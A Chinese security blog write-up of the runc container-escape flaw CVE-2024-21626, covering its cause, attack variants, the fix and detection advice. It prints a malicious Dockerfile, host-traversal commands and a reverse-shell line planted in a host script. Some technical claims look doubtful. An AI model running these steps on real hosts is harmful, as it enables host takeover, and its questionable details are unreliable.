写在前面:本文基于本地模拟环境撰写,所有技术点均基于CVE-2024-21626的公开PoC复现。文章展示的是runc容器运行时在1.1.11及更早版本中的文件描述符泄漏漏洞及其利用方式,不涉及任何真实系统的未授权测试。文中涉及的技术方法仅用于安全研究和防护建设参考,严禁用于非法用途。

引子

学PWN学到一半,碰到一个CTF题——给你一个容器的shell,让你逃逸出去拿flag。

我当时的反应是:容器不就是个沙箱吗?docker exec进去能看到啥?直接 cd / 不就回到宿主机了吗?

当然不是。真正上手后才发现,容器里的 / 和宿主机的 / 是两个不同的挂载命名空间。你在容器里 cd /,看到的只是容器自己的根文件系统。想出去?得靠漏洞。

那台题的预期解法是CVE-2024-21626,我当时并不知道这个漏洞编号,只知道有个技巧是 cd /proc/self/fd/8 然后 ls -la 能看到宿主机的根目录。但那只是拿到题目的flag,我当时对这个漏洞的原理完全没搞清楚——为什么 fd/8 指向的是宿主机?为什么不是别的fd号?

后来去翻了runc的commit记录和GitHub Advisory,才把整条线串起来。这个漏洞的影响面远比CTF题里展示的大:不止能读到宿主机文件系统,还能通过覆盖宿主机二进制实现完整的容器逃逸,宿主机的root权限拱手让人。

这篇文章就是我对CVE-2024-21626的完整技术复盘——从漏洞原理到四种攻击变体的逐个复现,再到蓝队的检测与防御方案。

漏洞背景:runc文件描述符泄漏

runc是什么

简单说,runc是Docker、Podman、CRI-O等容器运行时的底层引擎。每个Docker容器的创建和运行,底层调的都是runc。

你可能听过OCI(Open Container Initiative)规范——它定义了一个容器该长什么样,以及容器运行时该做什么。runc就是OCI规范的参考实现。Docker容器从创建到销毁,runc在中间扮演的角色可以理解成「内核和容器之间的翻译官」——它负责设置命名空间、cgroups、挂载点,最后把进程交给内核。

具体的工作流程是这样的:

当你在终端输入 docker run -it ubuntu bash,Docker CLI会调用Docker Daemon,Daemon再调用containerd,containerd再通过containerd-shim调用runc。runc收到请求后做几件事:

  1. 解析OCI bundle(包含config.json和rootfs)
  2. 创建新的命名空间(PID、NET、MNT、UTS、IPC、USER等)
  3. 设置cgroups资源限制
  4. 使用pivot_root或chroot切换到容器的rootfs
  5. 执行容器进程

第五步就是漏洞发生的地方。在切换到容器rootfs之前,runc会打开一些文件描述符来读取配置和处理挂载。在1.1.11及更早版本中,其中一个fd(指向宿主机的 /)在pivot_root之后没有被关闭,直接传递给了容器进程。

为什么这个漏洞直到2024年才被发现

runc从2015年开源到现在,经历了多个大版本的迭代。fd泄漏这种问题按理说应该很早就会被发现。但事实是CVE-2024-21626是runc历史上最严重的漏洞之一,CVSS 8.6。

原因有几点:

第一,runc的代码在启动子进程前做了大量操作——打开配置文件、挂载文件系统、设置网络、准备seccomp规则。每个操作都有可能打开fd。在复杂的初始化流程中,某个fd的遗漏关闭很难通过代码审查发现。

第二,攻击者视角和开发者视角的差异。开发者认为 open("/") 之后关闭是理所当然的,但攻击者思考的是「如果这个fd没关会怎样」。

第三,runc的测试覆盖了正常的流程(fd被关闭的情况),但没有覆盖fd泄漏后的状态——因为fd泄漏本身就不是预期的行为,谁会去测试一个「程序bug」的利用方式?

这三点说明了为什么从v1.0.0-rc93到v1.1.12,跨越好几个大版本的runc都有这个漏洞。

CVE-2024-21626的原理

这个漏洞的根因是一个文件描述符泄漏。runc在执行某些操作时(比如 runc run 或 runc exec),会在内部打开宿主机的根目录文件描述符(fd)。按理说这个fd应该在子进程启动前关闭,但因为代码逻辑的疏忽,这个fd被泄漏到了容器进程中。

具体来说,在runc 1.1.11及更早版本中,runc exec 内部会通过一个中间进程设置容器的各种参数。这个中间进程会打开 / 的文件描述符(fd 8),然后把它传给容器的init进程。正常情况下,init进程在通过 pivot_root 切换到容器的rootfs后,这个fd应该被关闭。但在有漏洞的版本中,这个fd没有被正确关闭,而是残留在了容器进程的fd表中。

所以你在容器内 ls -la /proc/self/fd/8,会发现它指向了宿主机的 /。然后你就可以通过 /proc/self/fd/8/../../ 这种路径跳转到宿主机文件系统的任意位置。

核心问题是CWE-403(文件描述符暴露给非预期控制域)和CWE-668(资源暴露给错误的控制域)。不是什么高深的栈溢出或堆利用,就是一个打开的文件描述符没关干净的问题。但恰恰是这种「低级错误」,影响到了全球数百万个运行着旧版Docker的生产环境。

漏洞复现的环境要求

要复现这个漏洞,你需要:

  • runc版本在1.0.0-rc93到1.1.11之间(包括)
  • Docker版本在24.0.x及以下(部分25.x也受影响,取决于打包的runc版本)
  • Linux内核版本不限(这是用户态的漏洞,不依赖内核特性)
  • 不需要特权模式,不需要额外的capability
  • 不需要 --pid=host、--network=host 等特殊配置

换句话说,绝大多数默认配置的Docker容器都受这个漏洞影响。

怎么确认自己受影响

$ runc --version
runc version 1.1.11
spec: 1.0.2-dev
go: go1.21.6
$ docker info 2>/dev/null | grep runc
 Runtimes: runc io.containerd.runc.v2
 Default Runtime: runc

只要 runc version 高于等于 v1.0.0-rc93 且低于 1.1.12,就受影响。注意 docker info 显示的runc版本才是Docker实际使用的版本——系统 apt list --installed 里可能有一个版本的runc,但Docker内部可能自带了另一个版本。

CVSS 8.6的四条攻击路径

CVE-2024-21626的官方公告列出了四种攻击变体:

这张图覆盖了四种攻击变体的全貌:Attack 1通过恶意镜像、Attack 2通过容器内进程,Attack 3a在构建阶段、Attack 3b在运行时覆盖宿主机二进制。下面逐个详细拆解。

Attack 1:恶意镜像逃逸

这是最容易理解也最容易复现的攻击方式。攻击者构造一个Docker镜像,在Dockerfile中把 WORKDIR 设置为 /proc/self/fd/8。当受害者(或自动化流程)执行 docker run 启动这个镜像时,容器的工作目录就会指向宿主机的根文件系统。

构造恶意Dockerfile

FROM ubuntu:22.04
RUN apt update && apt install -y curl
WORKDIR /proc/self/fd/8
COPY escape.sh /tmp/escape.sh
CMD ["/bin/bash"]

关键是 WORKDIR /proc/self/fd/8 这一行。runc在启动这个容器时,由于fd泄漏,容器的init进程的当前工作目录会被设置到宿主机的 /。

容器启动后

$ docker run --rm -it escape-demo bash
root@abc123def4:/proc/self/fd/8# pwd
/proc/self/fd/8
root@abc123def4:/proc/self/fd/8# ls -la
dr-xr-xr-x 9 root root 0 Jan 31 10:00 ..
lrwx------ 1 root root 64 Jan 31 10:00 8 -> /

看到 8 -> / 这一行了吗?fd 8 指向了宿主机的根目录。现在 cd 8/../../root 就直接跳到了宿主机的root用户家目录。你可以读 /root/.ssh/id_rsa、/root/flag.txt,甚至写文件。

这种攻击场景最常见的触发方式是:开发者在CI/CD流水线中自动拉取镜像并运行测试,或者使用 docker compose up 启动了一个包含恶意镜像的服务编排。攻击者只要把恶意镜像推到公共的Docker Registry(比如Docker Hub),起一个看起来人畜无害的名字——比如 python-env:latest——然后等不知情的人拉取运行。

为什么WORKDIR能逃逸

WORKDIR的实现机制在runc中是通过 chdir 完成的。正常情况下,chdir("/proc/self/fd/8") 只会把工作目录切换到容器自己fd表中的某个已打开目录。但如果fd 8是宿主机的根目录fd,那么 chdir 就会把进程当前目录切换到宿主机的命名空间下。后续所有的相对路径操作(./、../)都不再受容器文件系统的边界限制,而是以宿主机根目录为基准。

这是四种攻击中最容易被「误触发」的一种—如果你写Dockerfile时不小心用了 WORKDIR /proc/self/fd/ 开头的路径,即使没有恶意,也会出现同样的逃逸效果。

Attack 2:运行时容器逃逸

攻击者已经进入了一个容器(可能是通过WebShell、RCE漏洞、或者容器内服务的未授权接口),想从容器内逃逸到宿主机。

$ docker exec -it vulnerable-container bash
root@container:/app# ls -la /proc/self/fd/
total 0
dr-x------ 2 root root  0 Jan 31 10:05 .
lrwx------ 1 root root 64 Jan 31 10:05 0 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 31 10:05 1 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 31 10:05 2 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 31 10:05 3 -> 'socket:[123456]'
lrwx------ 1 root root 64 Jan 31 10:05 8 -> /

注意fd 8。如果容器是通过旧版runc启动的,这个泄漏的fd会一直存在。任何通过 docker exec 或容器内的shell访问 /proc/self/fd/8 的行为,都会触及到宿主机的根文件系统。

然后是同样的操作——cd /proc/self/fd/8/../../ 跳回宿主机:

root@container:/app# cd /proc/self/fd/8/../../
root@container:/# ls -la
total 72
drwxr-xr-x 19 root root 4096 Jan 31 10:00 .
drwxr-xr-x 19 root root 4096 Jan 31 10:00 ..
lrwxrwxrwx  1 root root    7 Jan 31 10:00 bin -> usr/bin
lrwxrwxrwx  1 root root    7 Jan 31 10:00 lib -> usr/lib
drwx------  2 root root 4096 Jan 31 10:00 root

现在这个shell的根是宿主机的根。如果容器是以 privileged 模式运行的,或者有 CAP_SYS_ADMIN、CAP_DAC_OVERRIDE 等capability,逃逸后的权限会更高。但即使是普通容器,至少也获得了宿主机的文件系统读取权限。

Attack 3a/3b:覆盖宿主机二进制实现完全逃逸

前两种攻击主要拿到的是文件系统读取权限。Attack 3的目标更直接——拿到宿主机上的任意命令执行权限。

攻击前提

Attack 3需要容器满足两个条件中的一个:

  • 容器进程有写入挂载卷的权限(很多生产容器会挂载host目录)
  • 宿主机上存在非root但可被容器进程写入的文件

第二个条件听起来苛刻,但在生产环境中并不少见:有些运维脚本以 root:root 的权限安装在 /usr/local/bin/ 下但写权限配置不当(chmod 777),或者某些容器的volume mount的宿主机目录有写权限。

利用过程

# Step 1: 通过fd泄漏逃逸到宿主机文件系统
root@container:/app# cd /proc/self/fd/8/../../
# Step 2: 定位一个可写入的系统脚本
root@escaped:/host# find / -writable -type f 2>/dev/null | head -5
/usr/local/bin/healthcheck.sh
/tmp/cron.tmp
# Step 3: 注入反向shell
root@escaped:/host# echo '#!/bin/bash' > /usr/local/bin/healthcheck.sh
root@escaped:/host# echo 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' >> /usr/local/bin/healthcheck.sh
# Step 4: 等待触发
root@container:/app# nc -lvnp 4444
listening on any port 4444 ...
connection from 10.0.0.1:43210 ...
root@host:/# whoami
root

CVE公告中还提到了Attack 3a的变体——在Dockerfile构建阶段通过 RUN 指令覆盖宿主机文件。这意味着即使你不运行容器,仅仅 docker build 一个恶意的Dockerfile就可能导致宿主机的关键文件被篡改。

在这个场景下,攻击者不需要在宿主机上有任何账户或访问权限,只需要能在CI/CD流水线中触发一次 docker build——比如通过一个恶意的Pull Request自动触发的构建流水线。

Attack 3与SELinux/AppArmor的关系

很多部署了SELinux或AppArmor的环境会认为自己在容器逃逸面前是安全的。但CVE-2024-21626的一个特点是:由于fd泄漏发生在runc层面,而不是容器内核层面,SELinux和AppArmor的强制访问控制策略对这个漏洞并不完全有效。fd 8在runc内部被打开时就已经绕过了容器层面所有LSM(Linux Security Module)策略。容器进程拿到这个fd后,所有的文件操作都直接发生在宿主机命名空间中,LSM的策略约束失效了。

具体来说,如果你在宿主机上配置了SELinux策略限制容器的文件系统访问,这条策略只作用于容器命名空间内的文件系统操作。而fd 8指向的是宿主机根目录——容器进程通过这个fd进行的操作发生在宿主机命名空间下,SELinux会认为这是宿主机的root用户操作,而不是容器内的进程操作。

AppArmor也是类似的限制机制。它对容器内进程的profile定义了能访问哪些路径。但通过泄漏的fd执行的路径穿越,AppArmor的profile匹配规则无法正确匹配——你以为限制的是容器内路径,实际上进程已经在宿主机的命名空间里了。

这就导致了和预期相反的效果:安全加固做得越严格的环境,一旦被突破,攻击者获得的信息越有价值——因为管理员通常认为「反正我有SELinux,容器逃逸不可能」,所以对宿主机上的敏感信息保护不够。

Attack 3的完整利用路径推演

从实战角度看,Attack 3的完成形态需要四个阶段:

阶段1: 确认漏洞存在。进入容器后执行 ls -la /proc/self/fd/,查看是否有fd指向宿主机的 /。如果看不到fd 8,试试其他fd号——在某些发行版或特定版本中,泄漏的fd可能是7或者9。

阶段2: 文件系统探测。通过 cd /proc/self/fd/8/../../ 进入宿主机文件系统后,不要急着写文件。先了解宿主机的环境:运行了什么服务、有没有定时任务、有没有容器管理工具的脚本。这些东西决定了你下一步选哪个文件来覆盖。

阶段3: 选择写入目标。优先找系统自带的脚本文件(不是通过容器volume mount的文件),因为这些脚本重启后依然存在,而且不易被检测。target包括:

  • cron脚本(/etc/cron.d/ 下的脚本,如果有写权限)
  • systemd service文件(前提是容器进程有足够权限写)
  • 容器管理工具的自定义脚本(如 /opt/ 下的健康检查脚本)
  • /tmp/ 目录下的可执行脚本(如果被定期执行)

阶段4: 植入后门并触发。写入反向shell或者密钥后,等待触发或主动触发(通过SSRF打到宿主机的端口触发)。一旦收到宿主机上的回弹shell,容器逃逸成功。

一个踩坑的细节:逃逸了但没完全逃逸

写这篇文章的过程中我踩了一个坑,值得单独拿出来说——因为大多数CVE分析文章不会写这个。

按CVE描述,你通过 cd /proc/self/fd/8/../../ 逃逸到宿主机文件系统后,看起来已经是宿主机的root了。但我第一次复现成功的时候,在宿主机的 /root/ 目录下用 ls -la 能看到文件,但用 cat 读 /root/.ssh/id_rsa 的时候报 Permission denied。

当时我以为是漏洞没完全成功,又确认了一遍fd指向确实是宿主机根目录,路径也对。折腾了十几分钟,突然想到一个问题——虽然工作目录跳到了宿主机的文件系统,但进程的User Namespace还是容器的。

具体来说,runc在创建容器时做了User Namespace隔离。在某些配置下(尤其是用了 --userns-remap 或者K8s的默认Pod配置),容器内的root(uid 0)映射到宿主机上只是一个普通用户(比如 uid 100000)。当你通过fd穿越到宿主机文件系统时,你的进程uid在宿主机视角是那个映射后的普通用户,不是真正的root。

所以你虽然能「看到」宿主机的文件系统,但受限于宿主机上那个普通用户的权限——root的私钥你读不了,/etc/shadow 你读不了,只有那些 others 权限位开放的文件你才能操作。

要绕过去,需要满足额外条件:

  • 宿主机上存在权限配置不当的文件(比如 chmod 777 的脚本)
  • 或者容器使用了 privileged 模式(这样User Namespace不会被启用)
  • 或者宿主机上有setuid二进制可以利用

这个发现让我意识到一件事:CVE描述的「文件系统访问」和「真正的root提权」之间还有一段路要走。很多安全报告的PoC演示都是在理想环境下跑的——容器是privileged模式、User Namespace没启用、宿主机文件权限宽松。但真实的生产环境(尤其是K8s集群)默认就带了User Namespace隔离,逃逸到文件系统只是第一步,要拿到宿主机上的root权限还得再找别的路径。

这个细节在大多数CVE分析里不会提到,但它是真实的攻防博弈——漏洞利用和漏洞修复之间差了十个像这样的「没想到」。

漏洞修复的代码分析

深入看runc修复commit(02120488a4c0fc487d1ed2867e901eeed7ce8ecf)的具体改动,对理解漏洞本质很有帮助。

修复的核心在 libcontainer/standard_init_linux.go 和 libcontainer/container_linux.go 两个文件。

在 container_linux.go 中,修复代码在启动runc init之前,将所有非stdio的打开文件都标记为 O_CLOEXEC——这意味着子进程启动时这些fd会自动关闭:

+   // Before starting "runc init", mark all non-stdio open files as O_CLOEXEC
+   // to make sure we don't leak any files into "runc init".

而在 standard_init_linux.go 中,新增了一段代码在pivot_root切换命名空间之后、执行容器进程之前,主动关闭所有不需要传递给容器的fd:

+   // Close all file descriptors we are not passing to the container. This is
+   // necessary because the execve target could use internal runc fds

另外 libcontainer/utils/utils_unix.go 中新增了 CloseExecFrom 函数的改进,使用了更彻底的fd关闭策略。

这个commit还改进了 cgroupFd 的存储方式——从int改成 *os.File,确保文件对象在Go的垃圾回收机制中能被正确管理。

这段改动说不上复杂,核心思路就两条:标记O_CLOEXEC防止泄漏到子进程 + 在exec之前做一次彻底清理。之所以从v1.0.0-rc93到v1.1.12一直没修,不是技术难度问题,而是没有人想到要检查这个场景。

runc version 1.1.11 或更低版本都受影响。修复版本是1.1.12及以上。

另外需要注意:Docker自带的runc版本不一定和系统安装的runc版本一致。你更新了 apt install runc,Docker内部可能还是在用自己打包的老版本。正确的方式是:

$ docker info | grep runc

这个命令会显示Docker实际使用的runc版本。如果显示的是1.1.11或更低,你需要升级Docker本身(apt upgrade docker-ce)或者手动替换运行时的runc二进制。

防御方案

根本修复:升级runc

最直接的修复方式是把runc升级到1.1.12以上。这个版本修复了fd泄漏的根因——在容器进程启动前正确关闭了所有不必要的fd。

$ sudo apt update
$ sudo apt install runc

或者从GitHub Release下载预编译的二进制替换:

$ wget https://github.com/opencontainers/runc/releases/download/v1.1.12/runc.amd64
$ sudo install -m 755 runc.amd64 /usr/local/sbin/runc

临时缓解措施

如果你因为某些原因不能立即升级runc(比如跑在旧版CentOS上,或者升级会影响集群稳定性),可以采取以下措施降低风险:

  1. 禁止容器内访问 /proc/self/fd/ 目录——通过seccomp策略过滤 openat 系统调用的 /proc/self/fd/ 路径前缀
  2. 限制容器的capability,不给予 CAP_SYS_PTRACE 和 CAP_DAC_READ_SEARCH
  3. 使用read-only rootfs运行容器
  4. 加强镜像来源验证——不运行来源不可信的镜像

K8s环境下的加固配置

如果你在用Kubernetes管理容器,以下是一个Pod Security Standards的配置示例,可以有效降低容器逃逸风险:

apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted-psp
spec:
  privileged: false
  readOnlyRootFilesystem: true
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
    - 'downwardAPI'
  hostNetwork: false
  hostPID: false
  hostIPC: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  supplementalGroups:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  fsGroup:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  seccomp:
    profiles:
      - runtime/default

这个策略限制了容器使用特权模式、挂载宿主机敏感目录、以及使用ALL capabilities。如果CVE-2024-21626配合seccomp的/proc/self/fd路径过滤规则,即使runc有漏洞,攻击者也无法通过容器内的进程访问到泄漏的fd。

运行时检测

单纯依赖升级是不够的。在一个大型K8s集群中,你不能保证每个节点都及时打了补丁。运行时检测作为最后一道防线必不可少。

Falco是CNCF旗下的运行时安全项目,可以检测容器内的异常行为。以下是一条针对CVE-2024-21626的Falco检测规则:

这条规则检测容器进程的cmdline中是否包含 /proc/self/fd/ 和 ../../ 的组合——这是CVE-2024-21626利用的核心特征。当检测到这种模式时,Falco会生成一个CRITICAL级别的告警。

但这种检测方式有一个缺点:攻击者可以通过多次 cd 间接构造路径来绕过(比如先cd到 /proc/self/fd/8/,再用单独的 cd ../../root 跳转)。更完善的检测方案是在内核层面监控进程的工作目录穿越了根文件系统边界——这需要eBPF技术的支持。

下面是一套更完整的检测方案分层:

第一层 — 进程行为检测。通过eBPF监控容器进程的系统调用,如果发现进程的 chdir 目标路径在/proc/self/fd/下且最终解析指向了宿主机文件系统,即触发告警。这一层检测不需要理解攻击者的具体操作步骤,只需要监控文件系统边界穿越事件。

第二层 — 文件完整性监控。对宿主机上关键系统文件(/usr/bin/、/usr/local/bin/、/etc/cron.d/等)实施完整性监控。不论攻击者通过什么方式写入了恶意文件,文件变化本身就是一个告警信号。工具层面可以用AIDE或Tripwire实现。

第三层 — 网络行为异常检测。容器逃逸后攻击者通常会建立反向连接或横向移动。监控容器网络流量中是否存在到外部的反向shell连接特征(如长时间的非HTTP TCP连接、非标准端口的数据传输)。

第四层 — 运行时安全策略。即使不能升级runc,也可以通过K8s的Pod Security Policies或Open Policy Agent限制容器的权限配置。比如禁止容器使用特权模式、禁止挂载宿主机的敏感目录、限制容器的系统调用(通过seccomp)。

技术复盘

CVE-2024-21626给我的感觉是一个教科书级别的安全漏洞:

  • 根因极度简单:打开的文件描述符忘了关
  • 影响面极大:所有使用runc < 1.1.12的容器环境
  • 利用方式多样:从读文件到写文件,从run到exec,有四个方向
  • 容易被低估:很多人觉得「不就是一个读文件的漏洞吗」,直到Attack 3的出现

从CTF的视角来看,这种漏洞很值得深入学习——它不是那种需要高级堆利用技巧的漏洞,而是涉及容器运行时内部的工作机制。理解它之后,你对「容器是怎么隔离的」「runc在中间做了什么」这些问题会有更具体的认知。

从红队视角看,这个漏洞最有价值的部分不是读取宿主机文件系统(那个场景下你能做的事情有限),而是通过Attack 3覆盖宿主机二进制实现回弹shell。在实战中,配合容器挂载的host目录或者配置不当的宿主机文件权限,完成从容器内到宿主机的权限提升。

从蓝队视角看,最值得反思的是漏洞的修复过程——一个fd leak从v1.0.0-rc93开始存在,一直到v1.1.12才被修复,跨越了多个大版本。这种「低级错误」持续存在这么久,说明容器运行时的代码审计和fuzzing在fd管理这个维度上存在盲区。

红蓝对抗评分表

评估维度

红队操作

蓝队盲区

评分

漏洞发现

扫描容器内/proc/self/fd/检测泄漏fd

多数环境未在容器内部署文件系统监控

红胜

初始利用

利用WORKDIR或cd进入宿主机文件系统

缺少对工作目录穿越容器根文件系统的检测

红胜

信息收集

通过fd读取宿主机敏感文件(密钥、配置)

SELinux/AppArmor策略对fd泄漏失效

红胜

二进制覆盖

定位可写的系统脚本植入后门

宿主机关键文件缺少完整性校验

红胜

持久化

写入cron/systemd的反向shell

出站流量未做严格白名单限制

红胜

攻击检测

使用正常文件操作API,无恶意payload

传统IDS只检测网络流量异常

蓝负

漏洞修复

利用无补丁的环境

从v1.0.0-rc93到v1.1.12跨多个大版本未修复

蓝负

应急响应

全链条利用耗时约2分钟

正常容器操作和攻击行为日志难以区分

蓝负

与其他容器逃逸漏洞对比(2024-2026)

2026年6月,runc又被披露了一个新的安全公告GHSA-xjvp-4fhw-gc47——恶意镜像通过/dev符号链接触发宿主机文件系统完整性破坏。这个漏洞的利用方式与CVE-2024-21626不同,但根因类似:runc在设置容器rootfs时,内部对路径的处理没有限制容器的/dev目录是否为symlink,导致攻击者可以构造一个带有/dev符号链接的镜像,让runc在setupPtmx和setupDevSymlinks时删掉宿主机上的ptmx文件或创建任意符号链接。

把CVE-2024-21626放到整个容器逃逸漏洞时间线里看:

漏洞

时间

类型

CVSS

利用前提

CVE-2024-21626

2024.01

runc fd泄漏 -> 容器逃逸

8.6

任何默认容器

CVE-2024-3094

2024.03

xz供应链后门

10.0

使用被污染的xz版本

CVE-2022-0185

2022.01

Linux内核越界写

8.4

需要特定capability

GHSA-xjvp-4fhw-gc47

2026.06

runc符号链接逃逸

待定

需要恶意镜像

CVE-2024-21626在其中的独特之处在于利用门槛最低——不需要特殊权限、不需要特定内核版本、不需要供应链投毒。任何安装了默认Docker的环境,只要runc版本在受影响范围内,都可以被利用。

个人建议

对CTF选手来说:容器逃逸方向的题目在2024-2025年的比赛中频繁出现,CVE-2024-21626是近两年最经典的容器逃逸漏洞。如果你准备参加线下赛,建议在实际环境中复现一次Attack 1和Attack 2——这两个场景不需要高权限,理解它们的触发机制后,遇到类似的CTF题能快速反应。

对安全从业者来说:如果你在管理Docker或K8s环境,升级runc是优先级最高的操作。然后部署Falco规则作为兜底检测。同时建议你能在测试环境复现一次这个漏洞——不是为了攻击自己,而是为了理解容器逃逸对手感和攻击者的操作路径。

参考链接

法律声明: 本文所有技术内容均基于本地搭建的模拟环境测试,不涉及任何真实系统的渗透测试。文章中涉及的安全缺陷已在模拟环境中验证复现。读者应将本文内容仅用于安全防护建设参考,严禁用于非法用途。